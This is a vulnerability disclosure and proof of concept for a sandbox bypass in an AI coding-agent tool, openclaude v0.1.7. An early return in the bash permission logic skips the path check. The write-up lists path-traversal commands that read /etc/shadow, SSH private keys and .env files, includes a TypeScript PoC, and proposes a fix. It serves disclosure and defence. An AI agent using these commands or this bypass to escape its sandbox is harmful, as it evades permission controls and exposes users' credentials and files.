
Detailed write-up and proof-of-concept for CVE-2026-35570, a sandbox bypass in openclaude v0.1.7 allowing path traversal to read and write arbitrary files outside the sandbox.
CVE-2026-35570 | CVSS 8.4 (High) | openclaude v0.1.7
Not every vulnerability requires a sophisticated exploit chain. Sometimes a single misplaced return statement is enough to blow a hole straight through your security model. That's exactly what CVE-2026-35570 is.
This write-up covers a sandbox bypass I found in openclaude v0.1.7 — a logic flaw that lets path traversal payloads sail right past the filesystem isolation layer without ever being checked.
I was going through bashPermissions.ts when something in the control flow caught my eye. The permission logic looked reasonable at a glance — if we're in a sandbox, auto-allow the command; otherwise, prompt the user. Clean enough.
But one question kept nagging at me: where does the path constraint check actually happen?
I traced bashToolHasPermission() from top to bottom and mapped out the execution path:
bashToolHasPermission()
│
├─ [~1445] Sandbox auto-allow block
│ └─ No deny rule found → return ALLOW ⚠️ Early exit
│
└─ [~1644] checkPathConstraints() ❌ Never reached
The sandbox block was built to skip interactive permission prompts in sandboxed environments. Totally reasonable. The problem is that when it returns ALLOW, the function exits right there. checkPathConstraints() — the thing actually responsible for catching path traversal — never runs.
Inside bashToolHasPermission(), the sandbox auto-allow block follows this logic:
At that point, checkPathConstraints() is completely bypassed. The path traversal filter doesn't get a chance to do anything.
From an attacker's perspective, that means commands like these go straight through:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
All of them come back behavior: allow. No prompt. No block. Nothing.
Three things become possible when this flaw is present:
Arbitrary file reads. Anything outside the sandbox boundary is fair game — /etc/passwd, /etc/shadow, SSH private keys, .env files. As long as the OS-level permissions allow it, the file can be read.
Arbitrary file writes. The same logic applies in reverse. An attacker can write to paths outside the sandbox, which opens the door to overwriting config files or dropping content in unexpected locations.
Complete sandbox isolation failure. The whole point of the sandbox is to enforce filesystem boundaries. With this bug present, that guarantee means nothing.
CVSS v3.1: 8.4 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
The fix is conceptually straightforward. The sandbox auto-allow block should suppress interactive prompts — that's it. It should never short-circuit the full permission pipeline.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Only return early for deny or ask — never skip path checks on allow
return sandboxResult;
}
// If allow, fall through to checkPathConstraints below
}
// Path traversal check must always run
return checkPathConstraints(input, appState.toolPermissionContext);
The rule of thumb here: sandbox auto-allow skips the prompt, not the security checks.
| Field | Detail |
|---|---|
| Package | openclaude |
| Affected version | v0.1.7 |
| Patched version | None |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (High) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Launch openclaude with sandbox and auto-allow flags set:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Variable names may differ slightly. Check the
SandboxManagerclass to confirm the exact environment variable mappings for your build.
Save the following as poc.ts in the project root:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Set up sandbox conditions
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload with path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// Expected: "deny" — path traversal should be blocked
// Actual: "allow" ← vulnerability confirmed
Then run it:
npx ts-node poc.ts
You'll see:
Result: allow
checkPathConstraints() was never called. To confirm this yourself, drop a log line into bashPermissions.ts:
// Around line 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // This will never print
// ...
}
Run the script again. The log won't appear — the function is genuinely being skipped.
Open openclaude in a sandbox session and submit the following command:
cat ../../../../../etc/passwd
It executes without any permission prompt or block, and dumps the contents of /etc/passwd directly.
CVE-2026-35570